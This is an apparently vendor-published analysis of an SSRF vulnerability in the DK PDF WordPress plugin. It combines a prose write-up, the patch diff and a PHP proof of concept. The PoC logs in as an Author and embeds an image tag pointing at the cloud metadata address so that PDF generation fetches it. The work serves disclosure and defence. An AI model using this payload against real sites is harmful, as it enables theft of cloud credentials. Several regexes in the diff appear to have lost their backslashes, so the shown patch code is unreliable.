Atomic Edge analysis of CVE-2025-14793:
The DK PDF WordPress plugin, versions up to and including 2.3.0, contains a server-side request forgery (SSRF) vulnerability. The flaw resides in the PDF content generation process, allowing authenticated users with Author-level permissions or higher to induce the application to make arbitrary HTTP requests. This can lead to information disclosure from internal services.
The root cause is the plugin’s failure to validate or restrict external resource URLs before fetching them during PDF generation. The vulnerable `addContentToMpdf` function in `/dk-pdf/modules/PDF/DocumentBuilder.php` passes unfiltered HTML content containing image tags and CSS `url()` references directly to the mPDF library’s `WriteHTML` method. The mPDF library, by default, fetches these external resources when generating the PDF. The vulnerability is exploitable because the plugin does not sanitize the `src` attributes of `
` tags or URLs within CSS before the mPDF library processes them.
The exploitation method requires an attacker to have Author-level access to a WordPress site with the vulnerable plugin. The attacker can create or edit a post or page, embedding an image or CSS background with a `src` or `url()` pointing to an internal service address (e.g., `http://169.254.169.254/latest/meta-data/`). When the PDF generation feature is triggered, typically via a frontend button or a direct request to a PDF generation endpoint, the plugin processes the post content. The mPDF library fetches the specified external resource from the internal network, enabling SSRF.
The patch in version 2.3.1 introduces a two-layer defense. First, it adds a `whitelistStreamWrappers` configuration key set to `array( ‘https’ )` in the `getMpdfConfig` function, restricting mPDF’s native stream wrappers. Second, and more critically, it implements a new `sanitizeContent` method called from `addContentToMpdf`. This method uses regex callbacks to scan HTML for `
` tags and CSS `url(…)` functions. Each extracted URL is passed to an `isUrlAllowed` validation function. This function allows data URLs, relative URLs, and URLs starting with the site’s own `get_site_url()`. For other absolute URLs, it uses WordPress’s `wp_http_validate_url` function, which performs strict validation and blocks local network addresses by default. Disallowed URLs are stripped from the content.
Successful exploitation allows an attacker to probe and interact with internal services accessible from the web server. This can lead to the theft of cloud metadata, exposure of credentials from internal APIs, or interaction with unprotected administrative interfaces. In specific configurations, this could be a stepping stone for further attacks against the internal network.
--- a/dk-pdf/dk-pdf.php
+++ b/dk-pdf/dk-pdf.php
@@ -1,7 +1,7 @@
<?php
/*
* Plugin Name: DK PDF
- * Version: 2.3.0
+ * Version: 2.3.1
* Description: WordPress to PDF made easy.
* Author: Emili Castells
* Author URI: https://dinamiko.dev
@@ -32,7 +32,7 @@
exit;
}
-! defined( 'DKPDF_VERSION' ) && define( 'DKPDF_VERSION', '2.3.0' );
+! defined( 'DKPDF_VERSION' ) && define( 'DKPDF_VERSION', '2.3.1' );
! defined( 'DKPDF_PLUGIN_DIR' ) && define( 'DKPDF_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
! defined( 'DKPDF_PLUGIN_URL' ) && define( 'DKPDF_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
! defined( 'DKPDF_PLUGIN_FILE' ) && define( 'DKPDF_PLUGIN_FILE', __FILE__ );
--- a/dk-pdf/modules/PDF/DocumentBuilder.php
+++ b/dk-pdf/modules/PDF/DocumentBuilder.php
@@ -142,17 +142,18 @@
private function getMpdfConfig(): array {
// Configure PDF options from settings
$config = array(
- 'tempDir' => apply_filters( 'dkpdf_mpdf_temp_dir', realpath( __DIR__ . '/../..' ) . '/tmp' ),
- 'default_font_size' => get_option( 'dkpdf_font_size', '12' ),
- 'default_font' => $this->getSelectedFont(),
- 'format' => get_option( 'dkpdf_page_orientation' ) == 'horizontal' ?
+ 'tempDir' => apply_filters( 'dkpdf_mpdf_temp_dir', realpath( __DIR__ . '/../..' ) . '/tmp' ),
+ 'default_font_size' => get_option( 'dkpdf_font_size', '12' ),
+ 'default_font' => $this->getSelectedFont(),
+ 'format' => get_option( 'dkpdf_page_orientation' ) == 'horizontal' ?
apply_filters( 'dkpdf_pdf_format', 'A4' ) . '-L' :
apply_filters( 'dkpdf_pdf_format', 'A4' ),
- 'margin_left' => get_option( 'dkpdf_margin_left', '15' ),
- 'margin_right' => get_option( 'dkpdf_margin_right', '15' ),
- 'margin_top' => get_option( 'dkpdf_margin_top', '50' ),
- 'margin_bottom' => get_option( 'dkpdf_margin_bottom', '30' ),
- 'margin_header' => get_option( 'dkpdf_margin_header', '15' ),
+ 'margin_left' => get_option( 'dkpdf_margin_left', '15' ),
+ 'margin_right' => get_option( 'dkpdf_margin_right', '15' ),
+ 'margin_top' => get_option( 'dkpdf_margin_top', '50' ),
+ 'margin_bottom' => get_option( 'dkpdf_margin_bottom', '30' ),
+ 'margin_header' => get_option( 'dkpdf_margin_header', '15' ),
+ 'whitelistStreamWrappers' => array( 'https' ),
);
// Auto language detection for non-Latin scripts (Arabic, Hebrew, CJK, Thai, etc.)
@@ -205,14 +206,65 @@
}
private function addContentToMpdf( Mpdf $mpdf ): void {
- // Set header and footer
- $mpdf->SetHTMLHeader( $this->renderer->get_template( 'dkpdf-header' ) );
- $mpdf->SetHTMLFooter( $this->renderer->get_template( 'dkpdf-footer' ) );
-
- // Write content
- $mpdf->WriteHTML( apply_filters( 'dkpdf_before_content', '' ) );
- $mpdf->WriteHTML( $this->renderer->get_template( apply_filters( 'dkpdf_content_template', 'dkpdf-index' ) ) );
- $mpdf->WriteHTML( apply_filters( 'dkpdf_after_content', '' ) );
+ $mpdf->SetHTMLHeader( $this->sanitizeContent( $this->renderer->get_template( 'dkpdf-header' ) ) );
+ $mpdf->SetHTMLFooter( $this->sanitizeContent( $this->renderer->get_template( 'dkpdf-footer' ) ) );
+
+ $mpdf->WriteHTML( $this->sanitizeContent( apply_filters( 'dkpdf_before_content', '' ) ) );
+ $mpdf->WriteHTML( $this->sanitizeContent(
+ $this->renderer->get_template( apply_filters( 'dkpdf_content_template', 'dkpdf-index' ) )
+ ) );
+ $mpdf->WriteHTML( $this->sanitizeContent( apply_filters( 'dkpdf_after_content', '' ) ) );
+ }
+
+ private function sanitizeContent( string $html ): string {
+ $html = preg_replace_callback(
+ '/<img([^>]*)ssrc=["']([^"']+)["']([^>]*)>/i',
+ function ( $matches ) {
+ $url = $matches[2];
+ if ( $this->isUrlAllowed( $url ) ) {
+ return $matches[0];
+ }
+ return '';
+ },
+ $html
+ );
+
+ $html = preg_replace_callback(
+ '/urls*(s*["']?([^"')s]+)["']?s*)/i',
+ function ( $matches ) {
+ $url = $matches[1];
+ if ( $this->isUrlAllowed( $url ) ) {
+ return $matches[0];
+ }
+ return 'url()';
+ },
+ $html
+ );
+
+ return $html;
+ }
+
+ private function isUrlAllowed( string $url ): bool {
+ $url = trim( $url );
+
+ if ( empty( $url ) ) {
+ return true;
+ }
+
+ if ( str_starts_with( $url, 'data:' ) ) {
+ return true;
+ }
+
+ if ( ! preg_match( '~^[a-zA-Z][a-zA-Z0-9+.-]*://~', $url ) ) {
+ return true;
+ }
+
+ $site_url = get_site_url();
+ if ( str_starts_with( $url, $site_url ) ) {
+ return true;
+ }
+
+ return wp_http_validate_url( $url ) !== false;
}
private function setDocumentProperties( Mpdf $mpdf, string $title ): void {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14793 - DK PDF – WordPress PDF Generator <= 2.3.0 - Authenticated (Author+) Server-Side Request Forgery
<?php
$target_url = 'http://target-wordpress-site.com';
$username = 'author_user';
$password = 'author_password';
// Internal service to probe via SSRF
$ssrf_target = 'http://169.254.169.254/latest/meta-data/';
// Initialize session and cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Step 2: Create a new post with an SSRF payload in an image tag
// The image src points to the internal target. DK PDF will fetch this when generating PDF.
$new_post_url = $target_url . '/wp-admin/post-new.php';
$post_content = 'SSRF Test Post. <img src="' . $ssrf_target . '" />';
$post_data = array(
'post_title' => 'SSRF Test',
'content' => $post_content,
'publish' => 'Publish',
'post_type' => 'post'
);
// Note: In a real scenario, you would need to extract a nonce from the post editor page.
// This PoC assumes the user has a valid session and can publish.
// For demonstration, we show the payload construction.
echo "Payload constructed. Post content would contain: " . $post_content . "n";
echo "To exploit, publish this post and then trigger PDF generation for it via the DK PDF button.n";
// Step 3: (Conceptual) Trigger PDF generation for the new post.
// The exact endpoint for DK PDF generation varies. It often involves a frontend button or a shortcode.
// The plugin's PDF generation process would then fetch the image from the internal URL.
curl_close($ch);
?>